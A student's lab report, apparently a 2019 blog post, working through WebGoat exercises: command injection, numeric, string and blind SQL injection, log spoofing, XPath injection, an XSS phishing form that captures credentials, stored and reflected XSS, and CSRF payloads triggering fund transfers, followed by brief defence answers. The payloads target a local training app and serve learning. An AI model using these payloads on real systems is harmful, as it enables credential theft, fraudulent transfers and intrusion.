Exp9 Web安全基础 ————20164316张子遥

一、实验内容

  • 本实践的目标理解常用网络攻击技术的基本原理。
  • 做不少于7个题目,包括SQL,XSS,CSRF。
  • Webgoat实践下相关实验。

二、实验具体步骤

(一)环境配置

1.安装WebGoat

从学长博客的云盘里下载了WebGoat,输入命令java -jar webgoat-container-7.1-exec.jar运行WebGoat

 

2.然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:

3.然后发现并没有左边的课程之类的。询问了同学发现是JDK的问题,需要下载版本低一点的JDK。以下是JDK安装过程

(1)将下载好的JDK包提取出来,开始拷贝目录 ,手动安装 (注意文件夹名根据自己的实际情况来设定)

sudo mkdir -p /usr/local/java
cp -r jdk-8u11-linux-x64/ /usr/local/java/

(2)配置JDK的环境变量输入命令 sudo gedit /etc/profile ,复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)

JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin 
export JAVA_HOME 
export PATH

 

(3)告诉系统JDK的位置,并设置新的JDK为默认。(命令需要输两次,执行两次)

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1

sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1

sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1

sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java

sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java

sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac

sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac

sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws

sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws

 

(4)重载Profile文件,输入命令 java -version 查看Java版本号

(5)成功访问webgoat

 

(二)SQL注入攻击

1.命令注入(Command Injection)

原理:在正常的参数提交过程中,添加恶意的代码,从而获得一些信息。

(1)右键表单选择框的下拉框,选择Inspect Element(Q),然后修改源代码,在任意位置加上 & netstat -an & ipconfig 

(2)点击网页中的 view 按钮,就能在网页下面看到系统的网络连接情况了

2.数字型SQL注入(Numeric SQL Injection)

原理大概就是这里有一个SQL语句 SELECT * FROM weather_data WHERE station = [station] ,可以拦截报文将station字段后补充成一个永真式101 OR 1=1。

(1)右键网页,点击inspect Element,查看并编辑网页源代码,在option value中加入恒等真式or 1=1

(2)由于1=1恒成立,点击go,看到所有城市的天气,成功。

 3.Log Spoofing

日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志。

(1)在Username输入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a为CRLF换行符

(2)点击login in就可以看到成功啦

4.XPATH Injection

意思大概是你的账号是Mike/test123,目标是尝试查看其他员工的数据,通过尝试构造永真式来实现。

(1)在User Name中输入永真式 4316zzy ' or 1=1 or 'a' ='a 

(2)点击submit就可以看到所有员工的数据了

 

5.LAB: SQL Injection之String SQL Injection

原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。

(1)由于密码的长度有限制,所以我们先修改密码输入框的允许输入长度。将maxlength设置为25甚至更大。

(2)就可以以admin的身份登录,密码框里输入 ' or 1=1 -- ,然后就能成功以John的身份登录成功。可以查看任意用户的信息等等。

6.LAB: SQL Injection之Numeric SQL Injection

绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。和之前的想法一样,我们只需将employee_id参数修改为: 101 or 1=1 order by salary desc 

 

7.Blind Numeric SQL Injection

数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。

(1)使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

(2)如果页面提示帐号有效,说明 PIN>10000 否则PIN<=10000。不断调整数值,可以缩小判断范围,并最终判断出 PIN 数值的大小。

(3)最终如下语句返回帐号有效:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

8.Blind String SQL Injection

使用盲注进行爆破,在“Enter your Account Number”输入

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:

 

 

 (三)Cross-Site Scripting (XSS)

1.Phishing with XSS

(1)使用XSS和HTML插入制作一个钓鱼网站,代码如下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

(2)点击search后,下拉网页就可以看到输入框了,在里面输入任意字符,点击login,就可以看到攻击成功了

 

2.Stored XSS Attacks

最典型的储存型XSS的例子——留言板,因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。

(1)在Title里输入“Test Stored XSS”,在 Message里输入

<script>alert("20164316zzy!");</script>

(2)点击生成的留言板就能攻击成功。

3.Reflected XSS Attacks

(1)在Enter your three digit access code中输入如下代码: <script>alert('20164316zhangziyao attack!')</script> 。
(2) 点击Purchase,成功显示警告框,内容为我们script脚本写的20164316zhangziyao attack!。攻击成功。

(四)CSRF

1.Cross Site Request Forgery(CSRF)

实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

(1)在Title输入:4316zzy,在Message输入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />

(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接,当前页面就会下载这个消息并显示出来。

 

2.CSRF Prompt By-Pass

 (1)在Title输入:20164316zzy;在Message输入:

<iframe
    src="attack?Screen=280&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接

 


 

 三、实践基础问答

(1)SQL注入攻击原理,如何防御

  • 原理:
    程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。
  • 防御:
    就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)

(2)XSS攻击的原理,如何防御

  • 原理:
    XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。
  • 防御:
    与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。

(3)CSRF攻击原理,如何防御

  • 原理:
    跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
  • 防御:
    使用验证码,表单中附加随机值,以此来防止冒充。

 


 

四、实践总结与体会

  这是最后一次实验了,通过webgoat深入理解并运用了多种攻击,尝试了很多东西,可以说是非常有意思了,当然也碰到了很多问题,但是发现沉下心来认真解决还是很有成就感的!虽然有一些浪费时间...总的来说,这门课我收获良多,虽然也许在现实中并不能成功攻击他人,但是能够认识并且做出相应的防范了。学习到了不少的东西,也进行了多次的实践与尝试。

 

posted @ 2019-05-26 17:25  fearless_zzy  阅读(135)  评论(0编辑  收藏
levels of contents